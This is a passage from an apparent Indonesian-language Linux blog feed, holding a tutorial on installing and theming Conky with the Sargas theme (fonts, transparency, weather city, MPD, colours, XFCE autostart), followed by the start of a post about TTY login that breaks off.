&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;24&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;${&lt;/span&gt;&lt;span&gt;color&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;white&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span&gt;RAM Usage:&lt;/span&gt;&lt;span&gt;$color&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$memperc&lt;/span&gt;&lt;span&gt;% &lt;/span&gt;&lt;span&gt;&lt;span&gt;${&lt;/span&gt;&lt;span&gt;membar&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;9&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;25&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;${&lt;/span&gt;&lt;span&gt;color&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;white&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span&gt;CPU Usage:&lt;/span&gt;&lt;span&gt;$color&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$cpu&lt;/span&gt;&lt;span&gt;% &lt;/span&gt;&lt;span&gt;&lt;span&gt;${&lt;/span&gt;&lt;span&gt;cpubar&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;9&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;26&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;${&lt;/span&gt;&lt;span&gt;color&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;white&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span&gt;Disk Usage:&lt;/span&gt;&lt;span&gt;$color&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$fs_used_perc&lt;/span&gt;&lt;span&gt;% &lt;/span&gt;&lt;span&gt;&lt;span&gt;${&lt;/span&gt;&lt;span&gt;fs_bar&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;9&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;27&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;28&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;${&lt;/span&gt;&lt;span&gt;alignc&lt;/span&gt;&lt;span&gt;}${&lt;/span&gt;&lt;span&gt;color&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;white&lt;/span&gt;&lt;span&gt;}${&lt;/span&gt;&lt;span&gt;time&lt;/span&gt;&lt;/span&gt;&lt;span&gt; %&lt;/span&gt;&lt;span&gt;A&lt;/span&gt;&lt;span&gt;, %&lt;/span&gt;&lt;span&gt;d&lt;/span&gt;&lt;span&gt; %&lt;/span&gt;&lt;span&gt;B&lt;/span&gt;&lt;span&gt; %&lt;/span&gt;&lt;span&gt;&lt;span&gt;Y&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;29&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;${&lt;/span&gt;&lt;span&gt;alignc&lt;/span&gt;&lt;span&gt;}${&lt;/span&gt;&lt;span&gt;color&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;white&lt;/span&gt;&lt;span&gt;}${&lt;/span&gt;&lt;span&gt;time&lt;/span&gt;&lt;/span&gt;&lt;span&gt; %&lt;/span&gt;&lt;span&gt;H&lt;/span&gt;&lt;span&gt;:%&lt;/span&gt;&lt;span&gt;&lt;span&gt;M&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;30&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;]]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Hasilnya:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;961&quot; height=&quot;906&quot; src=&quot;/_astro/ss3.CoALJbwN_ZaGE4G.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Sangat mudah, bukan?&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Theme-ing&lt;a href=&quot;#theme-ing&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Sekarang, kita akan sedikit menaburkan beberapa tema pada Conky kita. Beberapa tema yang bagus sebetulnya bisa kita dapatkan di internet, misalnya dari tautan berikut:&lt;br /&gt;
&lt;a href=&quot;https://www.gnome-look.org/browse?cat=124&amp;amp;order=latest&quot; target=&quot;_blank&quot;&gt;https://www.gnome-look.org/browse?cat=124&amp;amp;order=latest&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Kemudian, kita bisa memilih tema yang ingin kita gunakan. Kebetulan saya juga mengunduh dan menggunakan salah satu tema dari sana, yaitu tema &lt;a href=&quot;https://www.gnome-look.org/p/2092022&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Sargas&lt;/strong&gt;&lt;/a&gt;. Kita akan gunakan yang MPD.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1221&quot; height=&quot;922&quot; src=&quot;/_astro/ss4.CwgsdUeW_12h84a.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Unzip, kemudian pindahkan folder Sargas-nya ke &lt;code&gt;~/.config/conky/&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;unzip&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Sargas-MpdC-v1.9.zip&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cp&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-R&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Sargas&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;~/.config/conky&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Kalau saya coba jalankan…&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cd&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Sargas&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;conky&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-c&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Sargas.conf&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1130&quot; height=&quot;692&quot; src=&quot;/_astro/ss5.D6GkenbQ_pUokn.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Masih perlu sedikit polesan.&lt;/p&gt;&lt;p&gt;Apa saja yang masih perlu kita lakukan?&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Menginstall font&lt;/li&gt;
&lt;li&gt;Mengubah background (transparan)&lt;/li&gt;
&lt;li&gt;Menyesuaikan kota &amp;amp; cuaca&lt;/li&gt;
&lt;li&gt;Menginstall &amp;amp; mengaktifkan MPD&lt;/li&gt;
&lt;li&gt;Mewarnai (Opsional)&lt;/li&gt;
&lt;/ol&gt;&lt;section&gt;&lt;h3&gt;1. Menginstall Font&lt;a href=&quot;#1-menginstall-font&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Setidaknya, kita akan menginstall 2 fonts: &lt;strong&gt;Bebas Neue&lt;/strong&gt; &amp;amp; &lt;strong&gt;Carlito&lt;/strong&gt;.&lt;br /&gt;
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;688&quot; height=&quot;312&quot; src=&quot;/_astro/ss6.w-5dK8b6_Z2cxSvN.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Kalian bisa mengunduhnya di sini:&lt;br /&gt;
&lt;strong&gt;Bebas Neue Font:&lt;/strong&gt; &lt;a href=&quot;https://www.dafont.com/bebas-neue.font&quot; target=&quot;_blank&quot;&gt;https://www.dafont.com/bebas-neue.font&lt;/a&gt;&lt;br /&gt;
&lt;strong&gt;Carlito Font:&lt;/strong&gt; &lt;a href=&quot;https://www.1001fonts.com/carlito-font.html&quot; target=&quot;_blank&quot;&gt;https://www.1001fonts.com/carlito-font.html&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Setelah terunduh, pindahkan ke direktori &lt;code&gt;~/.fonts&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;unzip&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;bebas_neue.zip&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mkdir&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;~/.fonts&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cp&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;BebasNeue-Regular.ttf&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;carlito.bold.ttf&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;~/.fonts&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;2. Mengubah background (transparan)&lt;a href=&quot;#2-mengubah-background-transparan&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Kembali ke file config-nya di &lt;code&gt;~/.config/conky/Sargas/Sargas.conf&lt;/code&gt;, kemudian ubah nilai &lt;code&gt;false&lt;/code&gt; dari variabel &lt;em&gt;&lt;strong&gt;own_window_argb_visual&lt;/strong&gt;&lt;/em&gt; ke &lt;code&gt;true&lt;/code&gt;:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;649&quot; height=&quot;308&quot; src=&quot;/_astro/ss7.Dy7TwWHC_jwJ7K.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;3. Menyesuaikan kota &amp;amp; cuaca&lt;a href=&quot;#3-menyesuaikan-kota--cuaca&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Untuk menyesuaikan kota dan cuaca, kita beralih ke file config berikutnya, yaitu &lt;code&gt;~/.config/conky/Sargas/scripts/weather-v2.0.sh&lt;/code&gt;. Kita bisa mengganti nilai dari variabel &lt;code&gt;city&lt;/code&gt; ke kota yang kita inginkan.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;594&quot; height=&quot;83&quot; src=&quot;/_astro/ss8.CF9gxUM__i1oX7.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Kode kota-nya bisa kita peroleh dari website:&lt;br /&gt;
&lt;a href=&quot;https://openweathermap.org/find&quot; target=&quot;_blank&quot;&gt;https://openweathermap.org/find&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Misalnya, saya mau mengganti kota ke Bali. Ketika melakukan pencarian “Bali”, akan muncul beberapa saran. Tentu saja kita akan pilih Bali yang di Indonesia:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;739&quot; height=&quot;802&quot; src=&quot;/_astro/ss9.D53iTqrM_Z1SdCn.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Nah, kode kotanya akan muncul pada url-nya:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;966&quot; height=&quot;710&quot; src=&quot;/_astro/ss10.BvUj0lns_1UDYh5.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Kode kota tersebutlah yang kita inputkan pada variabel &lt;code&gt;city&lt;/code&gt; di script &lt;code&gt;~/.config/conky/Sargas/scripts/weather-v2.0.sh&lt;/code&gt;.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;4. Menginstall &amp;amp; mengaktifkan MPD&lt;a href=&quot;#4-menginstall--mengaktifkan-mpd&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;MPD alias &lt;em&gt;Music Player Daemon&lt;/em&gt; adalah server untuk menjalankan musik di localhost. Informasi yang tersimpan di MPD-lah (terutama info tentang Artist &amp;amp; Music-nya) yang akan kita gunakan untuk ditampilkan di Conky.&lt;/p&gt;&lt;p&gt;Instalasinya cukup mudah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo apt install mpd mpc -&amp;gt; Debian-based distro&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo pacman -Sy mpd mpc -&amp;gt; Arch-based distro&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo zipper in mpd mpc -&amp;gt; Opensuse distro&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo dnf install mpd mpc -&amp;gt; Fedora-based distro&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Setelah ter-&lt;em&gt;install&lt;/em&gt;, aktivasinya pun cukup mudah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mpd&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Selesai.&lt;/p&gt;&lt;p&gt;Nanti, apapun &lt;em&gt;music player&lt;/em&gt;-nya, jika terhubung ke MPD (misalnya seperti ncmpcpp), lagu yang sedang diputar akan muncul di Conky. Btw, saya juga menulis artikel khusus yang membahas ncmpcpp lho. Cek &lt;a href=&quot;https://abwildan.github.io/post/ncmpcpp/&quot; target=&quot;_blank&quot;&gt;di sini&lt;/a&gt;!&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;5. Mewarnai (Opsional)&lt;a href=&quot;#5-mewarnai-opsional&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Pewarnaan yang saya maksud di sini adalah pewarnaan untuk teks-teks yang tampil di Conky. Jadi, kalau kalian sudah menyukai default warnanya, atau kalian ingin menggantinya sesuai selera, tentu tidak ada larangannya.&lt;/p&gt;&lt;p&gt;Tapi, kali ini, saya akan mengganti warna default tema-nya ke warna seperti yang ada di cover artikel ini. Jadi, saya akan menggunakan kombinasi warna &lt;strong&gt;Pink&lt;/strong&gt;, &lt;strong&gt;Hijau&lt;/strong&gt;, dan &lt;strong&gt;Biru Muda&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;Kita akan kembali meng-&lt;em&gt;edit&lt;/em&gt; file konfigurasi &lt;code&gt;Sargas.conf&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;Pertama-tama, saya akan mengganti nilai variavel &lt;code&gt;color1&lt;/code&gt; ke warna hijau, kemudian membuat variabel warna baru, yaitu &lt;code&gt;color2&lt;/code&gt; untuk warna pink:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;color1&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&apos;#00ff21&apos;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;color2&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&apos;#ff5ce6&apos;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;347&quot; height=&quot;147&quot; src=&quot;/_astro/ss11.BT8smi8D_21AwR2.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Kemudian menambahkan parameter warna tersebut ke conky teks:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;706&quot; height=&quot;311&quot; src=&quot;/_astro/ss12.Dap0YoFQ_1WAHSG.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Terakhir, untuk mengganti warna pada indikator CPU, RAM, dan Disk, kita akan beralih ke file config lainnya, yaitu &lt;code&gt;~/.config/conky/Sargas/scripts/lua/rings-v1.2.1.lua&lt;/code&gt;, lalu ganti setiap nilai dari variabel &lt;code&gt;fg_colour&lt;/code&gt; ke warna biru muda:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;fg_colour&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;0x00ffff&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt;&lt;br /&gt;
Pastikan variabel &lt;code&gt;fg_colour&lt;/code&gt;-nya ada 4, menyesuaikan dengan jumlah lingkarannya juga .&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Sekarang, saya akan putar musik dari Quod Libet dan beginilah hasil Congky-nya!!!
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1186&quot; height=&quot;943&quot; src=&quot;/_astro/ss13.Dak8Rd9h_Z1sou7U.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Finishing&lt;a href=&quot;#finishing&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Sebagai penutup, kalau kita ingin menjalankan Conky dengan tema Sargas tersebut di &lt;em&gt;background&lt;/em&gt;, kita bisa mengetikkan perintah berikut di terminal:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;conky&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-c&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;~/.config/conky/Sargas/Sargas.conf&lt;/span&gt;&lt;span&gt; &amp;amp;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Tapi, jika kita ingin agar Conky bisa langsung berjalan tepat setelah login, kita tentu akan sangat malas jika harus mengetikkan perintah di atas berulang-ulang setiap login di komputer. Oleh karena itu, kita bisa mengaturnya (pada artikel ini saya hanya tunjukkan di XFCE).&lt;/p&gt;&lt;p&gt;Pertama, pergi ke setting &lt;strong&gt;Session and Startup&lt;/strong&gt; -&amp;gt; &lt;strong&gt;Application Autostart&lt;/strong&gt; -&amp;gt; &lt;strong&gt;Add&lt;/strong&gt;, kemudian masukkan nama, deskripsi (opsional), dan &lt;em&gt;command&lt;/em&gt;-nya. Pastikan memasukkan command conky yang langsung mengarah ke file config Sargas, &lt;code&gt;conky -c ~/.config/conky/Sargas/Sargas.conf&lt;/code&gt;.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;657&quot; height=&quot;601&quot; src=&quot;/_astro/ss14.AfvfeYxE_2sT4tU.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Klik &lt;strong&gt;Ok&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;Pastikan pengaturan Autostart Conky-nya sudah terceklis.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;290&quot; height=&quot;321&quot; src=&quot;/_astro/ss15.fmeXF76w_Zb5NJ9.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;SELESAIII!!&lt;/p&gt;&lt;p&gt;Mudah? Bukan main mudahnya dong~&lt;/p&gt;&lt;p&gt;Dengan modal Conky + tema yang sudah dibuatkan orang lain, desktop linux kita menjadi tidak hambar! Superrbbbb!!&lt;/p&gt;&lt;p&gt;Sipp, sekian dulu artikel kali ini.&lt;br /&gt;
Sampai berjumpa di artikel saya yang lain ya!&lt;br /&gt;
Byee~~&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;Btw, saya mau pamer desktop yang saya gunakan untuk menulis artikel ini.&lt;br /&gt;
Berikut spek dan tangkapan layarnya:&lt;br /&gt;
&lt;strong&gt;Distro:&lt;/strong&gt; Debian 12 (Bookworm)&lt;br /&gt;
&lt;strong&gt;DE:&lt;/strong&gt; XFCE&lt;br /&gt;
&lt;strong&gt;Tema:&lt;/strong&gt; Needy Girl Overdose&lt;br /&gt;
&lt;strong&gt;Icon:&lt;/strong&gt; Tela Circle&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;my-desktop&quot; loading=&quot;lazy&quot; width=&quot;4080&quot; height=&quot;6885&quot; src=&quot;/_astro/my-desktop.DEq7NiAb_ZqVo4K.webp&quot; /&gt;&lt;figcaption&gt;my-desktop&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Tipikal desktop emak-emak muda yang demen masak dan nulis wkwkwk.&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Conky_(software)&quot; target=&quot;_blank&quot;&gt;https://en.wikipedia.org/wiki/Conky_(software)&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/brndnmtthws/conky&quot; target=&quot;_blank&quot;&gt;https://github.com/brndnmtthws/conky&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-2&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Log in to Your System with (Stunning) TTY</title><link>https://shangdi.github.io/posts/tech/tty/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/tty/</guid><description>TTY in which is the acronym of TeleTYpe is a cool thing you need to know as linux user as it also will give you myriad of advantages.</description><pubDate>Wed, 17 Jul 2024 08:06:15 GMT</pubDate><content:encoded>&lt;section&gt;&lt;h2&gt;About Login Interface &amp;amp; TTY&lt;a href=&quot;#about-login-interface--tty&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Ketika kita akan login ke sebuah sistem, kita biasanya disuguhkan &lt;em&gt;interface&lt;/em&gt; untuk memasukkan kredensial login kita (username &amp;amp; password), kan? Umumnya, &lt;em&gt;interface&lt;/em&gt; yang biasa digunakan untuk login tersebut berbasis GUI (&lt;em&gt;Graphical User Interface&lt;/em&gt;). &lt;em&gt;Interface&lt;/em&gt; login berbasis GUI itulah yang kemudian dikenal (di komunitas linux, terutama) dengan istilah &lt;em&gt;&lt;strong&gt;display manager&lt;/strong&gt;&lt;/em&gt;&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;&lt;p&gt;Beberapa display manager yang populer digunakan misalnya ada sddm, lightdm, gdm, lxdm, dan masih banyak lagi. Biasanya, ketika kita meng-&lt;em&gt;install&lt;/em&gt; sebuah &lt;em&gt;&lt;strong&gt;desktop 